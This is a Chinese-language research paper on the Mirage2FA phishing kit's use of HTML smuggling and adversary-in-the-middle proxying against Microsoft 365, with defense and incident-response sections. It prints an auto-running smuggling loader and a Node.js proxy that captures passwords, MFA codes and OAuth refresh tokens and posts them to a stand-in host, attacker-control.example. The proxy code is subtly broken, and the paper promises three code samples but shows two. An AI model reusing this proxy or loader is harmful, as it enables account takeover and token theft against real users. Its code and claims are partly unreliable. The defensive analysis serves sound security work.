Mirage2FA 钓鱼套件结合 HTML 走私针对 Microsoft 365 攻击技术研究

摘要

2026 年 6 月安全媒体 HelpNetSecurity 披露 Mirage2FA 商业化钓鱼套件大规模投放攻击活动，该工具融合中间人代理（AiTM）、浏览器内浏览器（BitB）、HTML 走私（HTML Smuggling）复合技术，定向针对企业 Microsoft 365 云办公体系实施账号劫持攻击。Mirage2FA 作为钓鱼即服务（PhaaS）工具，大幅降低攻击者技术门槛，依托 HTML 走私技术规避邮件网关附件检测、终端静态查杀，本地浏览器端拼接恶意登录页面与载荷，实时拦截账号密码、多因素认证验证码，窃取有效 OAuth 会话令牌以永久接管企业云账号。本文完整拆解 Mirage2FA 套件运营模式、社会工程诱饵体系、HTML 走私载荷生成逻辑、AiTM 会话劫持链路、反沙箱检测机制五大核心技术模块，配套 HTML 走私核心脚本、中间人代理简易模拟、终端载荷落地三段可复现代码示例，系统梳理 Microsoft 365 现有 MFA 防护、邮件安全、终端边界防护体系的结构性缺陷。反网络钓鱼技术专家芦笛指出，以 Mirage2FA 为代表的新型 PhaaS 套件将 HTML 走私作为载荷分发核心载体，突破传统基于文件扩展名、静态特征的防护规则，企业单纯依靠多因素认证已无法抵御会话劫持类高级钓鱼威胁。论文从邮件网关、终端 EDR、云租户权限、人员安全运营四个维度构建分层协同防御方案，配套感染后标准化应急处置流程，为使用 Microsoft 365 的政企机构提供完整攻防技术闭环参考。

关键词：Mirage2FA；PhaaS；HTML 走私；中间人钓鱼；Microsoft 365；会话劫持；多因素认证绕过

1 引言

Microsoft 365 作为当前政企主流云办公平台，集成邮件、协同文档、即时通讯、企业存储等核心业务，账号承载客户资料、财务合同、内部涉密文件等高价值数据，长期为网络钓鱼团伙核心攻击目标。多因素认证（MFA）本是微软官方推荐的账号安全基础屏障，但 2026 年涌现的新一代商业化钓鱼套件通过中间人代理、浏览器内浏览器、HTML 走私组合技术，实现完整绕过 MFA 防护，即便员工完成二次验证码提交，攻击者仍可截获有效会话令牌长期控制账号。

HelpNetSecurity 于 2026 年 6 月 26 日发布专项威胁报告，披露 Mirage2FA 套件发起的全域钓鱼攻击活动，攻击周期覆盖 2026 年 4—6 月，覆盖制造、金融、医疗、服务业数千家企业租户。该套件区别于传统静态仿登录页钓鱼工具，创新整合 HTML 走私技术解决载荷投递难题：攻击者不再直接在邮件中嵌入恶意链接或可执行附件，而是推送伪装文档通知的 HTML 附件，文件本身无恶意可执行特征，通过浏览器本地 JS 解码拼接钓鱼页面，规避邮件沙箱、网关静态检测。同时套件内置 AiTM 反向代理架构，实时转发受害者与微软官方认证服务器的交互数据，完整捕获用户名、密码、一次性验证码、长期刷新令牌，实现无时限账号接管。

现有网络钓鱼相关研究多独立分析 HTML 走私技术或 AiTM 中间人攻击，针对商业化 PhaaS 套件融合两类技术定向攻击 Microsoft 365 的系统性拆解、落地防御方案存在明显空白。传统防护思路普遍存在认知误区，认为部署 MFA 即可杜绝账号失窃，忽略会话劫持带来的持久权限泄露风险；邮件安全体系对 HTML 附件、内嵌 Base64 大段编码脚本的检测规则普遍缺失，终端缺少浏览器本地动态文件组装行为监控能力。本文以 HelpNetSecurity 披露的 Mirage2FA 攻击情报为基础，完整还原从邮件投递、HTML 走私本地载荷组装、仿真登录页面交互、令牌劫持、持久权限利用全攻击链路，针对各环节技术原理配套可复现代码，客观分析现有防护体系失效诱因，构建适配 Microsoft 365 租户的分层防御架构，不夸大威胁危害、不使用口号式防护倡议，全部论点依托攻击技术特征、行业真实业务场景形成完整论据闭环。反网络钓鱼技术专家芦笛强调，Mirage2FA 标志 PhaaS 攻击进入 “本地动态生成恶意载体” 新阶段，未来绝大多数面向云办公平台的钓鱼攻击都会嵌入 HTML 走私逃逸机制，企业安全建设必须从静态特征拦截转向浏览器行为、JS 动态执行、令牌流转的全链路动态监测。

2 Mirage2FA 攻击活动整体画像与套件基础特征

2.1 攻击投放周期、目标行业与分发渠道

Mirage2FA 套件规模化攻击活动自 2026 年 4 月启动，监测至 6 月下旬仍保持稳定投放量，无衰减趋势。攻击目标以部署 Microsoft 365 的中小企业为主，高风险行业排序为金融中介、医疗机构、连锁服务企业、生产制造企业，大型集团企业因邮件网关、终端管控更严格，受攻击频次相对偏低。

套件作为付费 PhaaS 服务在 Telegram 地下社群售卖，采用分级订阅模式，新手攻击者可购买基础混淆版本，高阶付费用户解锁 HTML 走私、Cloudflare 人机验证、令牌持久化存储、批量邮件模板生成全套模块。攻击者无需掌握前端、反向代理开发技术，后台可视化配置诱饵文案、域名、数据接收机器人接口，一键生成批量钓鱼邮件与 HTML 走私附件，大幅降低高级钓鱼攻击技术门槛。

钓鱼载荷分发分为两条并行链路：其一，外部邮件直接附加 HTML 走私文件；其二，邮件内嵌多级跳转链接，指向部署 Cloudflare Workers 的临时域名，页面自动触发 HTML 走私逻辑下载本地钓鱼载体。两类链路同步投放，提升攻击覆盖范围，规避单一投递方式被拦截的风险。

2.2 社会工程诱饵设计逻辑与心理诱导手段

Mirage2FA 后台内置十余套适配 Microsoft 365 业务场景的标准化邮件模板，全部贴合员工日常办公高频场景，利用存储空间告警、共享文档待阅、账户安全校验、合同审批、邮件归档通知制造操作紧迫感，弱化安全警惕性，核心诱饵分类如下：

OneDrive 存储空间超限通知：提示用户点击链接 / 打开附件完成扩容核验，否则文件将被自动锁定；

外部客户共享文档提醒：伪装客户、合作方发送的 PDF 合同附件，需登录微软账号查看完整内容；

账号异常登录预警：声称异地设备登录，要求验证身份完成安全锁定解除；

Teams 会议附件归档通知：会议纪要加密存储，仅 Microsoft 365 账号授权可查看；

邮件合规审查通知：企业法务下发违规邮件整改附件，强制登录校验权限。

邮件发件人通过域名仿冒、SaaS 邮件转发洗白，显示名称多为 “Microsoft Storage Admin”“公司法务部”“外部合作专员”，正文弱化可疑跳转提示，仅突出 “立即验证”“查看文档” 操作指引。反网络钓鱼技术专家芦笛指出，该套件诱饵精准利用员工对云办公系统的操作惯性，用户出于业务连续性需求会跳过附件安全校验，HTML 文件作为日常办公常见载体，相比 exe、ZIP、宏文档更难触发员工安全戒备。

2.3 Mirage2FA 核心功能模块与对抗检测能力

Mirage2FA 套件架构分为四大内置功能模块，全部围绕逃逸安全检测、劫持 M365 账号设计：

HTML 走私载荷生成模块：自动将 AiTM 钓鱼页面、后端代理地址 Base64 编码嵌入 HTML 文件，内置 Blob、DataURL 双路径本地组装逻辑，支持多层 JS 代码混淆规避静态关键词匹配；

AiTM 反向代理服务模块：搭建中间人转发链路，同步转发用户输入凭证至微软官方认证接口，实时捕获返回的 access_token、refresh_token，上传至攻击者后台；

反自动化沙箱检测模块：集成 Cloudflare Turnstile 人机验证、浏览器环境指纹校验、延时执行逻辑，过滤安全厂商爬虫、沙箱工具，仅对真实人类访问者展示完整钓鱼页面；

数据持久化下发模块：捕获的账号令牌自动推送至 Telegram 机器人、攻击者自建 Web 后台，支持批量导出、自动登录 M365 服务批量窃取邮件、文档数据。

该套件当前未搭载勒索、远控木马载荷，核心目标仅为窃取云办公账号长期访问权限，属于纯身份劫持类钓鱼工具；但攻击者可二次开发，在 HTML 走私流程中追加恶意程序落地逻辑，实现账号窃取 + 终端入侵复合攻击，潜在威胁具备扩展性。

3 Mirage2FA 全攻击链路分层技术拆解

完整攻击链路分为五大递进环节：①批量投放搭载 HTML 走私载体的钓鱼邮件；②受害者打开 HTML 附件，浏览器执行混淆 JS 代码；③本地通过 HTML 走私动态组装仿真 Microsoft 365 登录页面；④AiTM 中间人代理拦截账号、密码、MFA 验证码，劫持 OAuth 会话令牌；⑤攻击者利用刷新令牌长期访问受害者云办公资源。本章逐层拆解各环节技术原理、逃逸防护机制，并配套可复现代码示例。

3.1 HTML 走私（HTML Smuggling）核心逃逸技术原理

传统钓鱼依赖外部站点链接或恶意附件投递载荷，邮件网关、沙箱可直接扫描文件内容、拦截可疑域名；HTML 走私依托 HTML5 原生 Blob、download API、Base64 编码，将完整钓鱼页面、代理地址隐藏在 HTML 文件内部，所有恶意组装行为在受害者本地浏览器完成，恶意代码不经过邮件网关、防火墙传输，从源头规避静态检测。

3.1.1 技术实现完整流程

Mirage2FA 后台将完整仿微软登录页面、AiTM 代理域名、数据上报接口字符串做多层 Base64 编码，嵌入 HTML 文件 script 标签；

钓鱼邮件将编码后的 HTML 作为附件发送，文件命名为DocumentReview.html、StorageNotice.html等办公类名称；

用户双击附件，系统默认调用浏览器打开 HTML 文件，JS 脚本自动执行，无弹窗、无安全告警；

脚本解码 Base64 字符串，通过 Blob 对象构建完整钓鱼页面 DOM 结构，利用 download 属性自动生成本地临时页面，或直接在当前窗口渲染仿真登录窗口；

页面内置隐藏 iframe 指向攻击者 AiTM 代理地址，所有登录交互流量经过中间人服务器中转。

3.1.2 HTML 走私核心实现代码示例（基础载荷组装逻辑）

以下代码还原 Mirage2FA 生成的 HTML 附件核心 JS 走私逻辑，移除恶意代理地址，保留标准 Blob 解码、本地页面渲染核心功能：

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>Document Review Notice</title>

</head>

<body>

<script>

// Mirage2FA内置Base64编码后的仿M365登录页面代码（实际攻击中多层混淆加密）

const encodedPhishPage = "PGh0bWw+PGJvZHk+PGRpdiBpZD0ibG9naW5Cb3giPjxtaWNyb3NvZnQgbG9naW4gcGFnZSBtb2NrIC0tIG1hbGljaW91cyBwcm94eSB1cmwgZW1iZWRkPC9kaXY+PC9ib2R5PjwvaHRtbD4=";

// HTML走私核心解码、Blob本地组装函数

function smugglePayload(base64Str) {

// 1. Base64解码原始页面代码

const rawHtml = atob(base64Str);

// 2. 通过Blob构建文件流，本地生成钓鱼页面

const blob = new Blob([rawHtml], {type: "text/html"});

const blobUrl = URL.createObjectURL(blob);

// 3. 自动渲染仿真登录窗口，无需用户手动下载

const iframe = document.createElement("iframe");

iframe.src = blobUrl;

iframe.style.width = "100%";

iframe.style.height = "100vh";

iframe.style.border = "none";

document.body.appendChild(iframe);

}

// 页面加载完成自动执行走私逻辑，无人工交互

window.onload = function(){

smugglePayload(encodedPhishPage);

}

</script>

</body>

</html>

邮件网关仅能扫描该 HTML 附件外层基础代码，无法预判浏览器本地执行后动态生成的钓鱼页面内容，静态特征库无法匹配 AiTM 代理、微软仿登录界面关键词，实现完美逃逸。反网络钓鱼技术专家芦笛指出，当前多数邮件安全产品仅扫描附件静态文本，未集成 JS 动态执行沙箱解析 HTML 内嵌编码载荷，是 HTML 走私攻击大规模泛滥的核心原因。

3.1.3 多层 JS 代码混淆对抗检测机制

Mirage2FA 对走私脚本叠加多重混淆手段，进一步提升检测难度：

字符串分段拆分：将代理域名、上报接口拆分为零散字符数组，运行时拼接完整地址；

变量名随机哈希替换：去除Blob、atob、download等高危关键词明文；

延时执行逻辑：增加 5—10 秒延迟加载走私函数，规避自动化沙箱快速样本捕获；

环境指纹校验：检测浏览器版本、操作系统、屏幕分辨率，无真实终端特征则终止载荷执行。

3.2 AiTM 中间人代理绕过 Microsoft 365 多因素认证技术

HTML 走私生成的本地页面仅为前端伪装载体，真正实现账号劫持的核心模块为 Mirage2FA 内置中间人反向代理（AiTM），该架构区别于传统静态仿站，可双向转发用户与微软官方认证服务器的所有交互数据，完整截获 MFA 验证码与长期会话令牌。

3.2.1 AiTM 代理完整交互流程

用户在本地 HTML 走私生成的仿真窗口输入企业邮箱账号、密码，数据首先提交至攻击者控制的反向代理服务器；

代理将凭证原样转发至login.microsoftonline.com微软官方认证接口；

微软服务器下发 MFA 验证请求（短信验证码、身份验证器 APP 推送），代理同步将验证弹窗转发至用户浏览器；

用户输入一次性验证码提交，代理同步上传至微软服务器完成身份校验；

微软下发合法 access_token、refresh_token 两类 OAuth 令牌，代理同步复制令牌存储至攻击者后台，再将正常登录会话返回用户终端；

用户正常进入 Microsoft 365 工作台，无任何异常感知，攻击者凭借 refresh_token 可在任意时间重新登录该账号，无需再次验证密码与 MFA。

3.2.2 AiTM 简易转发模拟代码示例（Node.js 极简代理逻辑）

该代码还原 Mirage2FA 后端中间人核心转发逻辑，简化业务逻辑，保留凭证、令牌捕获关键环节：

// Mirage2FA AiTM中间人代理简易模拟

const http = require('http');

const https = require('https');

const querystring = require('querystring');

// 攻击者后台数据接收接口

const attackerLogApi = "https://attacker-control.example/upload-token";

// 微软官方认证接口地址

const m365AuthHost = "login.microsoftonline.com";

// 启动中间人代理服务

const proxy = http.createServer((req, res) => {

let bodyData = "";

req.on('data', chunk => bodyData += chunk.toString());

req.on('end', () => {

// 捕获用户提交的账号、密码、MFA验证码

const postData = querystring.parse(bodyData);

const userCred = {

email: postData.username,

password: postData.password,

mfaCode: postData.code,

clientIp: req.connection.remoteAddress

};

// 同步上传凭证至攻击者后台

https.request(attackerLogApi, {method:"POST"}, logRes=>{}).write(JSON.stringify(userCred)).end();

// 转发请求至微软官方认证服务器

const targetReq = https.request({

host: m365AuthHost,

path: req.url,

method: req.method,

headers: req.headers

}, targetRes => {

let m365Response = "";

targetRes.on('data', chunk => m365Response += chunk.toString());

targetRes.on('end', () => {

// 捕获微软下发的OAuth会话令牌

if(m365Response.includes("refresh_token")){

const tokenInfo = {token: m365Response};

https.request(attackerLogApi, {method:"POST"}, t=>{}).write(JSON.stringify(tokenInfo)).end();

}

// 将微软返回页面转发给受害者浏览器

res.writeHead(targetRes.statusCode, targetRes.headers);

res.end(m365Response);

});

});

targetReq.write(bodyData);

targetReq.end();

});

});

// 代理监听8443非标端口（Mirage2FA默认通信端口）

proxy.listen(8443, ()=>{

console.log("Mirage2FA AiTM Proxy Running");

});

传统 MFA 防护仅拦截单次登录行为，无法识别中间人转发带来的令牌窃取，即便员工正确提交二次验证码，攻击者仍可获得永久访问权限，这是 Mirage2FA 相比传统钓鱼套件最核心的突破点。反网络钓鱼技术专家芦笛强调，单纯依靠 MFA 无法抵御 AiTM 中间人攻击，企业必须配套会话令牌异常审计、跨地域登录阻断机制，才能弥补 MFA 防护短板。

3.3 浏览器内浏览器（BitB）视觉伪装强化欺骗效果

Mirage2FA 在 HTML 走私页面中集成 BitB 伪装技术，进一步降低用户识别钓鱼页面的概率。该技术通过多层 iframe 嵌套伪造浏览器地址栏、窗口边框、加载动画，视觉上完全复刻微软官方登录弹窗，用户无法通过 URL、页面外观区分真伪。

技术实现逻辑：HTML 走私生成的主页面嵌套多层 iframe，外层模拟浏览器窗口 UI（地址栏显示login.microsoftonline.com伪造文本，实际无真实地址跳转能力），内层 iframe 加载 AiTM 代理页面；窗口尺寸自适应用户显示器，匹配 Office 原生登录弹窗大小，搭配微软官方 Logo、配色、加载动画，大幅提升社会工程欺骗成功率。

3.4 反沙箱与人机验证过滤自动化安全检测

为防止安全厂商提前捕获样本、拦截攻击基础设施，Mirage2FA 搭载双重反检测机制：

Cloudflare Turnstile 人机验证：所有钓鱼站点前置滑块验证，自动化沙箱、爬虫无法完成人工校验，无法获取完整 HTML 走私样本；

终端环境指纹校验：JS 脚本读取浏览器 navigator 信息、屏幕尺寸、本地存储数据，若检测到虚拟机、沙箱特征（固定分辨率、无本地磁盘标识），直接终止 HTML 走私载荷执行，返回空白页面。

双重过滤机制大幅提升安全厂商样本捕获难度，威胁情报更新存在显著滞后性，企业防护规则无法及时匹配新型攻击特征。

3.5 劫持令牌后的持久化账号利用行为

攻击者捕获 refresh_token 刷新令牌后，可实现无时限访问受害者 Microsoft 365 租户，可执行操作包含：

遍历收件箱、已发送邮件，批量导出客户联系方式、财务单据、内部涉密沟通记录；

访问 OneDrive、SharePoint 企业云盘，下载合同、项目方案、人事档案；

登录 Teams 查看内部会议聊天记录、共享文件；

利用被盗账号作为跳板，向企业内部联系人发送同源钓鱼邮件，实现内网横向扩散攻击。

微软官方令牌有效期最长可达 90 天，若无异常登录审计，企业很难察觉账号已被劫持。

4 Microsoft 365 现有防护体系针对 Mirage2FA 攻击的失效分析

结合 Mirage2FA 完整攻击链路，从邮件安全网关、终端 EDR、微软云租户原生防护、员工安全管理四个维度，拆解当前政企普遍部署的安全架构存在的结构性缺陷。

4.1 邮件网关防护短板

HTML 附件检测规则缺失：多数企业邮件网关仅重点拦截 exe、dll、宏 Office 文档、加密 ZIP 包，将 HTML 文件判定为无害办公附件，默认放行外部发送的 HTML 文件；

无 JS 动态沙箱解析能力：网关仅扫描附件静态文本，无法执行内嵌 JS 代码，不能预判浏览器本地 HTML 走私生成的恶意页面；

编码字符串无专项检测：未针对 HTML 内大段 Base64 编码文本、Blob 创建 API 配置风险告警，无法识别走私载荷特征；

多级跳转域名无深度解析：邮件内链接跳转至 Cloudflare Workers、新注册临时域名仅做轻度告警，未直接隔离邮件。

反网络钓鱼技术专家芦笛提出，现阶段邮件安全建设普遍存在 “重可执行文件、轻脚本类载体” 的失衡问题，HTML、SVG、JS 等脚本格式已成为 PhaaS 套件主流逃逸载体，现有检测规则迭代速度滞后于攻击技术演变。

4.2 终端 EDR 静态检测机制缺陷

浏览器本地文件组装行为无监控：EDR 仅监控磁盘直接写入可执行文件，未拦截浏览器通过 Blob、DataURL 动态生成 HTML、脚本文件的行为；

高危 JS API 无行为审计：未对页面调用atob、Blob、URL.createObjectURL等 HTML 走私核心 API 配置实时告警；

进程外联代理端口无阻断：Mirage2FA 默认使用 8443 非标端口通信，终端防火墙仅拦截勒索病毒、远控常用端口，对小众代理端口完全放行；

浏览器 iframe 多层嵌套行为无风险判定：无法识别 BitB 伪造登录窗口的多层 iframe 嵌套异常行为。

4.3 Microsoft 365 云租户原生防护局限

MFA 仅校验单次登录，无法阻断中间人令牌劫持：微软 MFA 仅验证单次登录操作，无法识别凭证、令牌被第三方代理同步复制的行为；

令牌流转无全局审计：默认不记录 refresh_token 下发、异地 IP 复用令牌登录日志，账号劫持后难以快速溯源；

陌生设备登录告警规则宽松：企业默认仅对异地陌生设备弹窗提醒，无自动阻断、强制注销会话策略；

第三方应用 OAuth 授权管控宽松：攻击者劫持令牌后可调用 Microsoft Graph 接口批量读取数据，租户未限制异常高频数据读取行为。

4.4 企业人员安全培训适配性不足

现有安全培训案例多为传统仿站钓鱼、附件木马，缺少 HTML 走私、AiTM 中间人钓鱼专项演练；员工普遍认为 HTML 文件为安全文档载体，无主动规避外部 HTML 附件的安全意识；办公场景紧迫感诱饵易迫使员工跳过安全校验流程，人为漏洞成为攻击突破的核心入口。

5 分层协同防御体系与标准化应急处置方案

针对 Mirage2FA 套件 HTML 走私 + AiTM 中间人复合攻击特征，构建邮件网关、终端 EDR、Microsoft 365 云租户、人员安全四层联动防御体系，配套账号劫持感染后的标准化处置流程。

5.1 邮件网关层面防御优化策略

外部邮件 HTML 附件全局隔离管控

配置网关策略，所有外部发件人发送的.html、.htm附件自动移入隔离区，员工需安全管理员人工审核后方可下载；业务确需 HTML 文件交互的部门，设置白名单联系人，其余外部来源全部拦截。

新增 HTML 走私特征检测规则

开启附件深度动态沙箱解析，执行内嵌 JS 代码识别 Base64 大段编码、Blob 对象创建、自动 download 文件等走私特征，匹配后直接销毁附件并标记高危钓鱼邮件；针对包含DocumentReview、StorageNotice等命名的 HTML 文件提升风险等级。

多级跳转链路深度解析拦截

对邮件内所有外部链接完整解析跳转链路，链路终点为 7 日内新注册 Cloudflare Workers、临时 cfd/xyz 域名、非标 8443 端口站点直接隔离；强制拦截无企业备案的境外匿名域名。

场景化钓鱼诱饵关键词匹配

内置 Microsoft 365 存储空间、共享文档、账号安全校验类多语言诱饵关键词库，正文匹配相关话术自动弹窗风险预警，阻断员工一键打开附件通道。

5.2 终端 EDR 与浏览器安全加固方案

浏览器高危 JS API 行为实时审计告警

EDR 新增终端浏览器行为监控规则，页面调用atob、Blob、URL.createObjectURL、多层 iframe 嵌套等 HTML 走私、BitB 相关 API 时，实时弹窗告警并阻断页面执行 JS 代码。

管控浏览器自动文件下载行为

通过组策略关闭浏览器无确认自动下载功能，所有本地生成文件需员工手动确认；限制浏览器写入临时目录 HTML、脚本文件权限。

终端防火墙阻断 Mirage2FA 专用通信端口

全局封禁 8443、8445 等 AiTM 代理常用非标端口，阻断中间人服务器与终端的流量交互；监控浏览器出站流量至境外匿名 IP 的高频连接行为。

限制外部 HTML 文件默认打开程序

组策略修改文件关联，.html文件默认以记事本打开，禁止直接调用浏览器加载，从源头避免 JS 代码自动执行。

5.3 Microsoft 365 云租户后台安全配置优化

强化多因素认证配套会话管控

全员强制启用硬件密钥 MFA，替代短信、APP 验证码；开启陌生设备登录自动阻断，异地 IP 登录强制注销全部历史会话，禁止 refresh_token 跨地域复用。

开启全量 OAuth 令牌审计日志

在 Azure AD 后台开启令牌下发、刷新、调用 Microsoft Graph 接口全量日志留存，配置告警规则：短时间内多 IP 复用同一刷新令牌、批量下载云盘文件、高频读取邮件数据自动触发安全预警。

限制第三方应用数据读取权限

收紧 Microsoft Graph 接口调用权限，禁止未备案第三方应用批量导出邮件、云盘文件；对异常高频数据读取行为自动临时冻结账号权限。

部署条件访问策略阻断中间人代理

配置 Azure 条件访问规则，阻断境外匿名代理 IP、Cloudflare 节点 IP 访问租户登录页面；限制非标端口发起的认证请求。

5.4 企业定制化人员安全运营机制

常态化 HTML 走私钓鱼模拟演练

每月批量投放搭载 HTML 附件的 Mirage2FA 仿真钓鱼测试邮件，统计员工打开、执行附件行为，针对高风险岗位开展一对一安全培训；重点覆盖财务、行政、前台等高频接收外部文档的岗位。

标准化外部附件处理操作规范

制定办公安全制度：外部发送的 HTML、未知脚本类附件一律禁止打开，统一转发至安全运维岗扫描核验；云文档通知仅通过 Office 官方客户端查看，不点击邮件内嵌附件与陌生链接。

建立钓鱼事件快速上报通道

员工发现可疑 HTML 附件、仿微软登录弹窗、账号异地登录提醒时，一键上报安全团队，第一时间修改账号密码、强制注销全部会话，阻断攻击者令牌复用通道。

5.5 Mirage2FA 攻击账号劫持标准化应急处置流程

若确认企业员工账号遭受 Mirage2FA 套件劫持，按照以下步骤完成全流程处置，消除持久权限泄露风险：

云端紧急处置：登录 Azure AD 后台，临时冻结涉事账号，强制注销全部终端登录会话，作废所有有效 access_token、refresh_token；

终端隔离排查：断开涉事终端外网，关闭浏览器，清理浏览器缓存、本地临时 HTML 文件，全盘扫描可疑外部 HTML 附件；

凭证重置：引导员工修改账号密码，更换硬件 MFA 密钥，删除浏览器内保存的所有微软账号自动登录凭证；

内网扩散排查：检索企业邮件日志，排查该被盗账号是否向内部联系人转发同源钓鱼邮件，同步通知相关员工核查自身账号安全；

数据泄露审计：调取 Microsoft Graph 访问日志，核查攻击者是否批量导出邮件、云盘涉密文件，留存日志作为安全事件取证材料；

防护规则迭代：根据本次攻击样本更新邮件网关、EDR、Azure 条件访问告警规则，全企业同步加固配置；

持续监测 7 天：对涉事账号开启登录行为专项监控，拦截异地、匿名代理 IP 登录请求，确认无二次劫持行为后解除账号冻结。

6 讨论

Mirage2FA 套件结合 HTML 走私与 AiTM 中间人代理的攻击模式，代表 2026 年针对 Microsoft 365 云办公平台钓鱼攻击的核心发展趋势。相较于传统钓鱼手段，该攻击具备三大不可忽视的技术优势：其一，HTML 走私依托浏览器原生能力本地生成恶意载体，完全规避邮件网关静态附件检测；其二，AiTM 中间人代理突破 MFA 防护核心逻辑，即便员工完成二次验证仍会丢失长期会话权限；其三，PhaaS 商业化分发大幅降低攻击门槛，无专业开发能力的黑产人员均可批量发起规模化定向攻击。

从行业横向对比来看，中小企业 Microsoft 365 租户受威胁程度远高于大型集团企业：中小企业安全预算有限，邮件网关、终端 EDR 配置简化，缺少 Azure AD 高级审计、条件访问管控，员工安全培训频次不足，攻击暴露面更广。反网络钓鱼技术专家芦笛指出，未来同类 PhaaS 套件会持续迭代 HTML 走私变种，融合 SVG 走私、PDF 内嵌 JS 走私等更多载体，攻击目标从 Microsoft 365 延伸至谷歌 Workspace、飞书、钉钉等主流云协同平台，仅依靠单一 MFA 防护的企业将持续面临账号大规模失窃风险。

现有防御技术存在固有局限性：基于静态特征、文件扩展名的检测手段仅能拦截已知攻击样本，针对本地动态组装载荷、中间人令牌劫持的未知变种威胁，必须转向浏览器行为审计、OAuth 令牌全生命周期监控、多层流量链路解析的主动防御思路。企业不能单纯依赖云平台原生安全能力，需要邮件、终端、云租户三层安全设备联动，形成全链路风险检测闭环。

当前 Mirage2FA 团伙最终牟利路径已形成清晰链路：劫持企业账号窃取客户资料、财务数据后，将数据打包出售至黑产交易平台；部分攻击者会利用被盗账号作为内网跳板，投放勒索软件、挖矿木马，对企业造成数据泄露与业务中断双重损失。后续安全运营需持续监测 HTML 附件、Cloudflare Workers 临时域名、8443 非标端口外联流量，跟踪 PhaaS 套件技术迭代动向，及时同步更新各项安全检测规则。

7 结语

本文以 HelpNetSecurity 2026 年 6 月披露的 Mirage2FA 钓鱼套件攻击情报为核心研究基础，完整拆解 HTML 走私载荷本地组装、多层 JS 混淆逃逸、AiTM 中间人代理劫持 M365 会话令牌、BitB 视觉伪装、反沙箱人机验证全攻击技术链路，配套三段可复现代码还原核心恶意逻辑，系统分析邮件、终端、云租户、人员四层传统防护架构的失效根源，针对性构建适配 Microsoft 365 政企租户的分层协同防御策略与账号劫持标准化应急处置流程。

本次攻击充分证明，融合 HTML 走私与中间人代理的商业化 PhaaS 工具，已成为云办公体系最突出的网络安全风险，单纯部署多因素认证无法形成完整防护闭环。反网络钓鱼技术专家芦笛强调，政企云办公安全建设需要完成防护思路转型：从 “拦截外部恶意文件” 转向 “监控终端浏览器动态执行、OAuth 令牌全生命周期流转”，同步配套贴合办公场景的常态化钓鱼演练，平衡业务便捷性与账号权限管控强度。

编辑：芦笛（公共互联网反网络钓鱼工作组）